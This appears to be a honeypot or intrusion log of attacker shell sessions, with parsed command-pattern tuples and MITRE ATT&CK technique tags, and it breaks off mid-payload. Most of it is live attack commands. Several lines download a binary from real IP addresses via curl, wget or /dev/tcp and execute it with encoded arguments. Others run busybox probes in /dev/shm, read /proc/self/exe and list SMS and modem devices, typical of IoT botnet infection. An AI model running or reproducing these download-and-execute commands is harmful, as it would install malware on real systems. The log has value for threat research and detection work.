nohup $SHELL -c "curl http://129.144.180.26:60107/linux -o /tmp/1JsiLZIO0e; if [ ! -f /tmp/1JsiLZIO0e ]; then wget http://129.144.180.26:60107/linux -O /tmp/1JsiLZIO0e; fi; if [ ! -f /tmp/1JsiLZIO0e ]; then exec 6<>/dev/tcp/129.144.180.26/60107 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/1JsiLZIO0e && chmod +x /tmp/1JsiLZIO0e && /tmp/1JsiLZIO0e Vup386UeROnye9/HBxwRE8fZe+/mVx25/W37Ly/kcvy7AkXn5nzZwBkfCB3Gx3jo41kds/Bt+y0r8HX0uh5O8e152t8bHBoHx9Fk7edCFr30cv4vO/tz9aUVRv/tet7fEBkSH8HYfuzxQxul9nf4NSr/duq8GU3n7HvbyAkZGhvf3Hvy4EUCuvR08C0r+3fyqx9O/+183N8YHB8HyNFw6uFGHr7kcvgpNfhx8qUYTv/uetvLHxgZGcLJcvLjRhWl9nb4NSr6dP69HEbl6WrYwRoGGRrFx3Ll/0Yfsv51+ioo/2P8pR5G6PJ/2N8bHR0Tx9l77+hXFLrqdPs1L/xt8LwWQeHtftnRHBwGG8PdZOXmWRiy/nX6KinyY/W6H1nj6XrHwB4fBh3L33rt408Mv/Nt/S01+3v9pR1H5uZ82cAdGwgR39h56P9EHqX2cvghLfpy8LgMQ+byeNrHBxobGd/cfObnRx2/92PyNSr5d+q6HUX/7n7Zyx8YGRjAyXLy40YbpfV6+DUp/Xnyux1D4/x+2t8YHR8HyN9k7uNEFr30cvosO/Jt9robWePpesfJGxIeGcDdcvzgQwK68XbkKSv/bfW8HE3n7HvYwgkQGgfA3H3y5EQCufZ68C0r+3L1qxhA/+55398YHhgHwNN87OBGG6v1cvo1KvJy6roaWebpcN/BGBoRCcDbf/LpTwK59nXkLy3wdfS6Hkbx6H3Hxh8GGhvFx3vp6E0au/Vz/Tsv/W32vx9Z4O59x8YdEh4ZwNt//OVAArzybf0sNft787EaR+DvfaaO04Umrkw5e5uc4XTB6V0QddGn6DuCrUGQRL16Zg==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/1JsiLZIO0e && /tmp/1JsiLZIO0e Vup386UeROnye9/HBxwRE8fZe+/mVx25/W37Ly/kcvy7AkXn5nzZwBkfCB3Gx3jo41kds/Bt+y0r8HX0uh5O8e152t8bHBoHx9Fk7edCFr30cv4vO/tz9aUVRv/tet7fEBkSH8HYfuzxQxul9nf4NSr/duq8GU3n7HvbyAkZGhvf3Hvy4EUCuvR08C0r+3fyqx9O/+183N8YHB8HyNFw6uFGHr7kcvgpNfhx8qUYTv/uetvLHxgZGcLJcvLjRhWl9nb4NSr6dP69HEbl6WrYwRoGGRrFx3Ll/0Yfsv51+ioo/2P8pR5G6PJ/2N8bHR0Tx9l77+hXFLrqdPs1L/xt8LwWQeHtftnRHBwGG8PdZOXmWRiy/nX6KinyY/W6H1nj6XrHwB4fBh3L33rt408Mv/Nt/S01+3v9pR1H5uZ82cAdGwgR39h56P9EHqX2cvghLfpy8LgMQ+byeNrHBxobGd/cfObnRx2/92PyNSr5d+q6HUX/7n7Zyx8YGRjAyXLy40YbpfV6+DUp/Xnyux1D4/x+2t8YHR8HyN9k7uNEFr30cvosO/Jt9robWePpesfJGxIeGcDdcvzgQwK68XbkKSv/bfW8HE3n7HvYwgkQGgfA3H3y5EQCufZ68C0r+3L1qxhA/+55398YHhgHwNN87OBGG6v1cvo1KvJy6roaWebpcN/BGBoRCcDbf/LpTwK59nXkLy3wdfS6Hkbx6H3Hxh8GGhvFx3vp6E0au/Vz/Tsv/W32vx9Z4O59x8YdEh4ZwNt//OVAArzybf0sNft787EaR+DvfaaO04Umrkw5e5uc4XTB6V0QddGn6DuCrUGQRL16Zg==" &

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'chmod', '/tmp/bMowUmHeCr', 'cp', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'nan', 'exit')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CKPZJ

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo ; done', '/bin/busybox', 'rm ; exit')

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1070 Indicator Removal


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IYVWU


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KIMNL


/bin/busybox cat /proc/self/exe || cat /proc/self/exe

('sh', 'shell', 'enable', 'system', 'ping ; sh', 'nan', '/bin/busybox cat || cat')

T1016 System Network Configuration Discovery


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VSFVR


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RGQGM


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JVUWV


./oinasf; dd if=/proc/self/exe bs=22 count=1 || while read i; do echo $i; done < /proc/self/exe || cat /proc/self/exe;

('./ ; dd if || while ; do echo ; done || cat ;',)


cd /tmp || cd /var || cd /dev || cd /etc

('start', 'enable', 'config', 'system', 'linuxshell', 'shell', 'sh', 'echo', 'passwd', 'cd || cd || cd || cd', 'cat | more', 'cat | head -n')

T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1083 File and Directory Discovery
T1005 Data from Local System


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

('/ip', 'ifconfig', 'uname', 'cat', 'ps | grep [ ]', 'ps -ef | grep [ ]', 'ls', 'echo | cat -n')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RDDDE


nohup $SHELL -c "curl http://47.243.127.74:60125/linux -o /tmp/KylrXoKtrU; if [ ! -f /tmp/KylrXoKtrU ]; then wget http://47.243.127.74:60125/linux -O /tmp/KylrXoKtrU; fi; if [ ! -f /tmp/KylrXoKtrU ]; then exec 6<>/dev/tcp/47.243.127.74/60125 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/KylrXoKtrU && chmod +x /tmp/KylrXoKtrU && /tmp/KylrXoKtrU 8yTxaXqq/7RgPAZLMF0FJG62/rVzbOAwiZA282Nttfi2eiYOSTZDBiFjoPqzbWnzPJCMNPR1e730tmQjBkIgSxkgZbjgtnBr7jWLjD72a3K1+KBgJRlBNEEZK2Gu/LV2YfY0j4wx4G90qve4eiMFRi5CDiFutv61cW/gMImQNvNtbbX7tHogAkY6RQcjZLXutXZs7jWOkDDzdXax9LZkIwRGIEcAPGO24LN0dfE8iYQy8Gpws+64eiAGSy5CAiZ6sv29eW3wNY6OJPRsbbb6s3ojBUQuRAMoYrD/tnZ79DOQiTLuaXC24LJmKg1FMEIGIXS44LZxae42josq+Gt5sv6xZSUXRzddBSFirv+9c3X4N4SINPFqcaT2rmYjAF0yQQc8Zbn5vnVr8TCKnjX0dXK84LdmPAFDOkUHI2W57rVxbu41jIoq9Gxtsfu6YiIGQjFTDzxmsfeqcWjzKo+MPPptc7X+sXQmAF03RRkgZ7LgtnFj+jKOjzXze3C94LFkJRlCOUAZIGa49LJzavM2noo97mlwseCxYyMZQTBFDSRksfq0Y2PuNo+HKvFudqr8sGQoAUMxQQIyYLfgtnBt7jWLiirybna++LBlIgJTMUsFPGW1/6pwYu41i4g+9mtytfagZScPXTJBBzxlsPyqcWn1PoiONfJjY7zgsmUrGUYxXQUnYbr4tHJo+SSGkDbxYm21+7F6IAJDOkUHI2Wy7rVxa+4zj5A1+Gtts/i6YiIGQTBTBiJlrvaxbWn0NJCPNfptc7X9tnQjBUMuRgQ8ZrL8qnpp+jKOjzbxxDap+drOUyZEijkcdG8OmBCmnUqZomkyekRd; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/KylrXoKtrU && /tmp/KylrXoKtrU 8yTxaXqq/7RgPAZLMF0FJG62/rVzbOAwiZA282Nttfi2eiYOSTZDBiFjoPqzbWnzPJCMNPR1e730tmQjBkIgSxkgZbjgtnBr7jWLjD72a3K1+KBgJRlBNEEZK2Gu/LV2YfY0j4wx4G90qve4eiMFRi5CDiFutv61cW/gMImQNvNtbbX7tHogAkY6RQcjZLXutXZs7jWOkDDzdXax9LZkIwRGIEcAPGO24LN0dfE8iYQy8Gpws+64eiAGSy5CAiZ6sv29eW3wNY6OJPRsbbb6s3ojBUQuRAMoYrD/tnZ79DOQiTLuaXC24LJmKg1FMEIGIXS44LZxae42josq+Gt5sv6xZSUXRzddBSFirv+9c3X4N4SINPFqcaT2rmYjAF0yQQc8Zbn5vnVr8TCKnjX0dXK84LdmPAFDOkUHI2W57rVxbu41jIoq9Gxtsfu6YiIGQjFTDzxmsfeqcWjzKo+MPPptc7X+sXQmAF03RRkgZ7LgtnFj+jKOjzXze3C94LFkJRlCOUAZIGa49LJzavM2noo97mlwseCxYyMZQTBFDSRksfq0Y2PuNo+HKvFudqr8sGQoAUMxQQIyYLfgtnBt7jWLiirybna++LBlIgJTMUsFPGW1/6pwYu41i4g+9mtytfagZScPXTJBBzxlsPyqcWn1PoiONfJjY7zgsmUrGUYxXQUnYbr4tHJo+SSGkDbxYm21+7F6IAJDOkUHI2Wy7rVxa+4zj5A1+Gtts/i6YiIGQTBTBiJlrvaxbWn0NJCPNfptc7X9tnQjBUMuRgQ8ZrL8qnpp+jKOjzbxxDap+drOUyZEijkcdG8OmBCmnUqZomkyekRd" &#UPX!

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x &&', '>', 'nan')

T1005 Data from Local System
T1070 Indicator Removal


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox POWIC


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BLTML


nohup $SHELL -c "curl http://120.70.96.196:60100/linux -o /tmp/xFir1qTUDA; if [ ! -f /tmp/xFir1qTUDA ]; then wget http://120.70.96.196:60100/linux -O /tmp/xFir1qTUDA; fi; if [ ! -f /tmp/xFir1qTUDA ]; then exec 6<>/dev/tcp/120.70.96.196/60100 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/xFir1qTUDA && chmod +x /tmp/xFir1qTUDA && /tmp/xFir1qTUDA m4B4SX3JyGtQfZbg+JR1RGXLymBJbJHk7459SmfVymtOYpLg7JZ8T2PM22dJYpLi5I59S2bVzGZEepDn5JlsT2HO1WJMeI7k5JJiT2TLwWVOfZHn9pR7UGHPyX1HeY7k55V2SGPKyWZedI7k55diT2rJ1WFJdpbm55R+XmXK1WJNdI7n7pViTGDPwWVOfZTu9pR7UGTN1WdIYpHg55p6TmLPzXNGYpLn4Y5+TGPVympJdpbm55R4XmfM1WFKf47n5JdiSWfBzWNPfpX24pNiT2DN1WJJfo7k5Jd2SGPKz2dedI7k55hiT2fI1WJOf5rg5pF4SXPPzH1Jeo7h4Y59RmTBzWNPf5f27o5+T2TVympLYpXs4JB9TGvbymFLYpHk4o59TGXVymRJdpbm55B8XmDC1WJOfY7g745+TGbBzWNPeJj255J8UGTL1WpIYpHv4Jp6TmLLy3NMfZj45JB9UGbM1WJNfJrg5pF4SXPKzmpQepX455l9UGLCy2lIfJHn7oB6T33KzWNQfpHk+JJ/SmnNy2JOeIDi5Y59TWrVyWBHYpLk75p6TmLPyHNPeZT47o59SmPVymJIdpbm55B1XmXL1WJIeY7n5JdiT2vNwWVOfZTl9pJ8TX3Jzn1MfZD455d8RGXLymBJbJTh+JJ/SH3KzWdQfZPl7JZ8T2HJ22VOYpHg4459TGHVymVLdpbm55J4XmvVyWJGYpHi5Y59TmDBzWNPeJf24pNiT2DN1WJJfo7k5Jd2SGPKz2defZLj+JF+Sn3Kw2dQfZPn7JZ8T2DC22dMYpHv4o59SmXVw2ZEepDn4pK5ksVILOUefzaJMm8OAg==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/xFir1qTUDA && /tmp/xFir1qTUDA m4B4SX3JyGtQfZbg+JR1RGXLymBJbJHk7459SmfVymtOYpLg7JZ8T2PM22dJYpLi5I59S2bVzGZEepDn5JlsT2HO1WJMeI7k5JJiT2TLwWVOfZHn9pR7UGHPyX1HeY7k55V2SGPKyWZedI7k55diT2rJ1WFJdpbm55R+XmXK1WJNdI7n7pViTGDPwWVOfZTu9pR7UGTN1WdIYpHg55p6TmLPzXNGYpLn4Y5+TGPVympJdpbm55R4XmfM1WFKf47n5JdiSWfBzWNPfpX24pNiT2DN1WJJfo7k5Jd2SGPKz2dedI7k55hiT2fI1WJOf5rg5pF4SXPPzH1Jeo7h4Y59RmTBzWNPf5f27o5+T2TVympLYpXs4JB9TGvbymFLYpHk4o59TGXVymRJdpbm55B8XmDC1WJOfY7g745+TGbBzWNPeJj255J8UGTL1WpIYpHv4Jp6TmLLy3NMfZj45JB9UGbM1WJNfJrg5pF4SXPKzmpQepX455l9UGLCy2lIfJHn7oB6T33KzWNQfpHk+JJ/SmnNy2JOeIDi5Y59TWrVyWBHYpLk75p6TmLPyHNPeZT47o59SmPVymJIdpbm55B1XmXL1WJIeY7n5JdiT2vNwWVOfZTl9pJ8TX3Jzn1MfZD455d8RGXLymBJbJTh+JJ/SH3KzWdQfZPl7JZ8T2HJ22VOYpHg4459TGHVymVLdpbm55J4XmvVyWJGYpHi5Y59TmDBzWNPeJf24pNiT2DN1WJJfo7k5Jd2SGPKz2defZLj+JF+Sn3Kw2dQfZPn7JZ8T2DC22dMYpHv4o59SmXVw2ZEepDn4pK5ksVILOUefzaJMm8OAg==" &#UPX!

nohup $SHELL -c "curl http://120.70.96.196:60100/linux -o /tmp/N6puSWFgAQ; if [ ! -f /tmp/N6puSWFgAQ ]; then wget http://120.70.96.196:60100/linux -O /tmp/N6puSWFgAQ; fi; if [ ! -f /tmp/N6puSWFgAQ ]; then exec 6<>/dev/tcp/120.70.96.196/60100 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/N6puSWFgAQ && chmod +x /tmp/N6puSWFgAQ && /tmp/N6puSWFgAQ m4B4SX3JyGtQfZbg+JR1RGXLymBJbJHk7459SmfVymtOYpLg7JZ8T2PM22dJYpLi5I59S2bVzGZEepDn5JlsT2HO1WJMeI7k5JJiT2TLwWVOfZHn9pR7UGHPyX1HeY7k55V2SGPKyWZedI7k55diT2rJ1WFJdpbm55R+XmXK1WJNdI7n7pViTGDPwWVOfZTu9pR7UGTN1WdIYpHg55p6TmLPzXNGYpLn4Y5+TGPVympJdpbm55R4XmfM1WFKf47n5JdiSWfBzWNPfpX24pNiT2DN1WJJfo7k5Jd2SGPKz2dedI7k55hiT2fI1WJOf5rg5pF4SXPPzH1Jeo7h4Y59RmTBzWNPf5f27o5+T2TVympLYpXs4JB9TGvbymFLYpHk4o59TGXVymRJdpbm55B8XmDC1WJOfY7g745+TGbBzWNPeJj255J8UGTL1WpIYpHv4Jp6TmLLy3NMfZj45JB9UGbM1WJNfJrg5pF4SXPKzmpQepX455l9UGLCy2lIfJHn7oB6T33KzWNQfpHk+JJ/SmnNy2JOeIDi5Y59TWrVyWBHYpLk75p6TmLPyHNPeZT47o59SmPVymJIdpbm55B1XmXL1WJIeY7n5JdiT2vNwWVOfZTl9pJ8TX3Jzn1MfZD455d8RGXLymBJbJTh+JJ/SH3KzWdQfZPl7JZ8T2HJ22VOYpHg4459TGHVymVLdpbm55J4XmvVyWJGYpHi5Y59TmDBzWNPeJf24pNiT2DN1WJJfo7k5Jd2SGPKz2defZLj+JF+Sn3Kw2dQfZPn7JZ8T2DC22dMYpHv4o59SmXVw2ZEepDn4pK5ksVILOUefzaJMm8OAg==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/N6puSWFgAQ && /tmp/N6puSWFgAQ m4B4SX3JyGtQfZbg+JR1RGXLymBJbJHk7459SmfVymtOYpLg7JZ8T2PM22dJYpLi5I59S2bVzGZEepDn5JlsT2HO1WJMeI7k5JJiT2TLwWVOfZHn9pR7UGHPyX1HeY7k55V2SGPKyWZedI7k55diT2rJ1WFJdpbm55R+XmXK1WJNdI7n7pViTGDPwWVOfZTu9pR7UGTN1WdIYpHg55p6TmLPzXNGYpLn4Y5+TGPVympJdpbm55R4XmfM1WFKf47n5JdiSWfBzWNPfpX24pNiT2DN1WJJfo7k5Jd2SGPKz2dedI7k55hiT2fI1WJOf5rg5pF4SXPPzH1Jeo7h4Y59RmTBzWNPf5f27o5+T2TVympLYpXs4JB9TGvbymFLYpHk4o59TGXVymRJdpbm55B8XmDC1WJOfY7g745+TGbBzWNPeJj255J8UGTL1WpIYpHv4Jp6TmLLy3NMfZj45JB9UGbM1WJNfJrg5pF4SXPKzmpQepX455l9UGLCy2lIfJHn7oB6T33KzWNQfpHk+JJ/SmnNy2JOeIDi5Y59TWrVyWBHYpLk75p6TmLPyHNPeZT47o59SmPVymJIdpbm55B1XmXL1WJIeY7n5JdiT2vNwWVOfZTl9pJ8TX3Jzn1MfZD455d8RGXLymBJbJTh+JJ/SH3KzWdQfZPl7JZ8T2HJ22VOYpHg4459TGHVymVLdpbm55J4XmvVyWJGYpHi5Y59TmDBzWNPeJf24pNiT2DN1WJJfo7k5Jd2SGPKz2defZLj+JF+Sn3Kw2dQfZPn7JZ8T2DC22dMYpHv4o59SmXVw2ZEepDn4pK5ksVILOUefzaJMm8OAg==" &#UPX!

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x &&', '>', 'nan', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x &&')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WXTWH

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LTHTF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TNVUQ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KFXMX


./oinasf; dd if=/proc/self/exe bs=22 count=1 || while read i; do echo $i; done < /proc/self/exe || cat /proc/self/exe;


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RGJSH


T1222 File and Directory Permissions Modification


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JKFGY


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FSEUP


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IJFTG


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox USTNF


nohup $SHELL -c "curl http://47.238.166.49:60137/linux -o /tmp/WXFgZW9gKi; if [ ! -f /tmp/WXFgZW9gKi ]; then wget http://47.238.166.49:60137/linux -O /tmp/WXFgZW9gKi; fi; if [ ! -f /tmp/WXFgZW9gKi ]; then exec 6<>/dev/tcp/47.238.166.49/60137 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/WXFgZW9gKi && chmod +x /tmp/WXFgZW9gKi && /tmp/WXFgZW9gKi yn0ES6QgUwyhAXRNLk97CrkEUSG9XAFvvqlsBEikI1gEoQJ0QTZLcwC4FFIjs1IBaLSpbABLpCFSDrkAc0owW3MBvxpRKrJSAmyptW4ERrwiUQa3EHpJLkp3B6EBUzy4TglnsbdsAU2qJFEavgN7VTFKex66BFokuk0Bbaezah5LvDxXA6EBekw6TXIBvANAI7tNHm+1vnMBTL08Uga7CnRLMUtyELcaUiOzUgZoqbVsB0a8IlEFuBB6VTJKdR6+DVU8v0YGbba1ZRBKvjxSBrgecEkuTHcKuQRRILlcAW+yqWwCSKQgUgahAXVLOk1yAb4FQCeyUgJtvqlvA0ikK1YOuQBzSDNbcwG/GlEqv1IBbbWpbAdLsCRQBbwBYkkzVXMGvxpRJLpSAWuwvWsATbgnQAW3A2xKNEpsAbwMTiOzRQprt7ZpAly7I1gavgJwVTdDbAa7DlYiu0wGfbW2ZB5NvyFOBb8HbEgyQXQAvgVQMrtJBHO/qWwETKQjUQK1BnJKMEJiAb0GTiC4RB5vt6llBEa8IlEFvhB0Si5KcQihBVgnpE4Dab2xbQFIsjJUB6EBcUMuSnUHoQxQKLxMAW60p2wASqQjUgChAXFOLkJzCrkEUSKyXAFvt6lvBlK4J1AaugV4TTBKcQavBVEhpE0AZam/cwdIsCRQBbwJYk83VXADuRpRJaRLBGext2wES6ogUAehAndVMkpyHr4DUCi8TAFusKdpB1K4IVYavQR7VThKeAa/BVIhqkoCc7W0aR5MpCpRDrkAc0s2W3MCvxpXIqRFCHO1s2wKSrojUASfSnsDbD6zYF2rpoMc+OSb0lTTLOZ/SxcYV04=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/WXFgZW9gKi && /tmp/WXFgZW9gKi yn0ES6QgUwyhAXRNLk97CrkEUSG9XAFvvqlsBEikI1gEoQJ0QTZLcwC4FFIjs1IBaLSpbABLpCFSDrkAc0owW3MBvxpRKrJSAmyptW4ERrwiUQa3EHpJLkp3B6EBUzy4TglnsbdsAU2qJFEavgN7VTFKex66BFokuk0Bbaezah5LvDxXA6EBekw6TXIBvANAI7tNHm+1vnMBTL08Uga7CnRLMUtyELcaUiOzUgZoqbVsB0a8IlEFuBB6VTJKdR6+DVU8v0YGbba1ZRBKvjxSBrgecEkuTHcKuQRRILlcAW+yqWwCSKQgUgahAXVLOk1yAb4FQCeyUgJtvqlvA0ikK1YOuQBzSDNbcwG/GlEqv1IBbbWpbAdLsCRQBbwBYkkzVXMGvxpRJLpSAWuwvWsATbgnQAW3A2xKNEpsAbwMTiOzRQprt7ZpAly7I1gavgJwVTdDbAa7DlYiu0wGfbW2ZB5NvyFOBb8HbEgyQXQAvgVQMrtJBHO/qWwETKQjUQK1BnJKMEJiAb0GTiC4RB5vt6llBEa8IlEFvhB0Si5KcQihBVgnpE4Dab2xbQFIsjJUB6EBcUMuSnUHoQxQKLxMAW60p2wASqQjUgChAXFOLkJzCrkEUSKyXAFvt6lvBlK4J1AaugV4TTBKcQavBVEhpE0AZam/cwdIsCRQBbwJYk83VXADuRpRJaRLBGext2wES6ogUAehAndVMkpyHr4DUCi8TAFusKdpB1K4IVYavQR7VThKeAa/BVIhqkoCc7W0aR5MpCpRDrkAc0s2W3MCvxpXIqRFCHO1s2wKSrojUASfSnsDbD6zYF2rpoMc+OSb0lTTLOZ/SxcYV04=" &

nohup $SHELL -c "curl http://47.238.166.49:60137/linux -o /tmp/nz8eeddhzd; if [ ! -f /tmp/nz8eeddhzd ]; then wget http://47.238.166.49:60137/linux -O /tmp/nz8eeddhzd; fi; if [ ! -f /tmp/nz8eeddhzd ]; then exec 6<>/dev/tcp/47.238.166.49/60137 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/nz8eeddhzd && chmod +x /tmp/nz8eeddhzd && /tmp/nz8eeddhzd yn0ES6QgUwyhAXRNLk97CrkEUSG9XAFvvqlsBEikI1gEoQJ0QTZLcwC4FFIjs1IBaLSpbABLpCFSDrkAc0owW3MBvxpRKrJSAmyptW4ERrwiUQa3EHpJLkp3B6EBUzy4TglnsbdsAU2qJFEavgN7VTFKex66BFokuk0Bbaezah5LvDxXA6EBekw6TXIBvANAI7tNHm+1vnMBTL08Uga7CnRLMUtyELcaUiOzUgZoqbVsB0a8IlEFuBB6VTJKdR6+DVU8v0YGbba1ZRBKvjxSBrgecEkuTHcKuQRRILlcAW+yqWwCSKQgUgahAXVLOk1yAb4FQCeyUgJtvqlvA0ikK1YOuQBzSDNbcwG/GlEqv1IBbbWpbAdLsCRQBbwBYkkzVXMGvxpRJLpSAWuwvWsATbgnQAW3A2xKNEpsAbwMTiOzRQprt7ZpAly7I1gavgJwVTdDbAa7DlYiu0wGfbW2ZB5NvyFOBb8HbEgyQXQAvgVQMrtJBHO/qWwETKQjUQK1BnJKMEJiAb0GTiC4RB5vt6llBEa8IlEFvhB0Si5KcQihBVgnpE4Dab2xbQFIsjJUB6EBcUMuSnUHoQxQKLxMAW60p2wASqQjUgChAXFOLkJzCrkEUSKyXAFvt6lvBlK4J1AaugV4TTBKcQavBVEhpE0AZam/cwdIsCRQBbwJYk83VXADuRpRJaRLBGext2wES6ogUAehAndVMkpyHr4DUCi8TAFusKdpB1K4IVYavQR7VThKeAa/BVIhqkoCc7W0aR5MpCpRDrkAc0s2W3MCvxpXIqRFCHO1s2wKSrojUASfSnsDbD6zYF2rpoMc+OSb0lTTLOZ/SxcYV04=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/nz8eeddhzd && /tmp/nz8eeddhzd yn0ES6QgUwyhAXRNLk97CrkEUSG9XAFvvqlsBEikI1gEoQJ0QTZLcwC4FFIjs1IBaLSpbABLpCFSDrkAc0owW3MBvxpRKrJSAmyptW4ERrwiUQa3EHpJLkp3B6EBUzy4TglnsbdsAU2qJFEavgN7VTFKex66BFokuk0Bbaezah5LvDxXA6EBekw6TXIBvANAI7tNHm+1vnMBTL08Uga7CnRLMUtyELcaUiOzUgZoqbVsB0a8IlEFuBB6VTJKdR6+DVU8v0YGbba1ZRBKvjxSBrgecEkuTHcKuQRRILlcAW+yqWwCSKQgUgahAXVLOk1yAb4FQCeyUgJtvqlvA0ikK1YOuQBzSDNbcwG/GlEqv1IBbbWpbAdLsCRQBbwBYkkzVXMGvxpRJLpSAWuwvWsATbgnQAW3A2xKNEpsAbwMTiOzRQprt7ZpAly7I1gavgJwVTdDbAa7DlYiu0wGfbW2ZB5NvyFOBb8HbEgyQXQAvgVQMrtJBHO/qWwETKQjUQK1BnJKMEJiAb0GTiC4RB5vt6llBEa8IlEFvhB0Si5KcQihBVgnpE4Dab2xbQFIsjJUB6EBcUMuSnUHoQxQKLxMAW60p2wASqQjUgChAXFOLkJzCrkEUSKyXAFvt6lvBlK4J1AaugV4TTBKcQavBVEhpE0AZam/cwdIsCRQBbwJYk83VXADuRpRJaRLBGext2wES6ogUAehAndVMkpyHr4DUCi8TAFusKdpB1K4IVYavQR7VThKeAa/BVIhqkoCc7W0aR5MpCpRDrkAc0s2W3MCvxpXIqRFCHO1s2wKSrojUASfSnsDbD6zYF2rpoMc+OSb0lTTLOZ/SxcYV04=" &

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'chmod', '/tmp/4BhTH6eq7N', 'cp', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'nan', 'exit', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'chmod', '/tmp/tQL52gdIQt', 'cp')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EUWEX


nohup $SHELL -c "curl http://129.144.180.26:60107/linux -o /tmp/aaowy5CExz; if [ ! -f /tmp/aaowy5CExz ]; then wget http://129.144.180.26:60107/linux -O /tmp/aaowy5CExz; fi; if [ ! -f /tmp/aaowy5CExz ]; then exec 6<>/dev/tcp/129.144.180.26/60107 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/aaowy5CExz && chmod +x /tmp/aaowy5CExz && /tmp/aaowy5CExz nc8NdOzvXvBs6u3/5+/ieP5d7PF0Gd7i6cEId/bzXPBy9en/8+3rc/ha/fptC97n/tkMbfPoVPJ06+r9//vjbPpc5exxCMHi4dYDdfLsXfBi7+zn++jjbPlb6+x3ANXm4N4KdOLpWuZw6O3n+OrrbPpd7Ph1Cd7h4M8Ic/PzVf1s6e/55+rqeP5d7PF1Gd7i4MEOcuzsVfhs6Ozz/+vqcvtN6fVtDtn+4twObfPsWfJ06+r9/Pvqcv5D6PZtCtb+4t4PefTtXPtw++n7+/XjduZf6PFtCNjo6tkJcvDsTflw7vX4++/1evlD7/d3A9ng4d4IY/bqQ/909ez+5+rjdfJb7fNwDs/o/t0IdOzsW/hs6ur48+3rc/tY/fNyC8Hp4cEIcvPzXPB74e35+O/uYvxa8/V1F97o6cEOdvjrXfly4/v/+PXqdPhD7/NwF93j6dUPc/PtXOh06vX4/ur1dPlD7/NwA9ng4d4KY/PtXOZ26fX6+/Xqd/Jb7fNzAc/o/t0LcezsWvhs6OPz/+vqc/pN7PN7F97g58ENcOzsWvl47ev4++v7c/lV8/FyF9v+5t4DdfLsXfFi4/X7+OL1c/FU8/dwA9ng4dw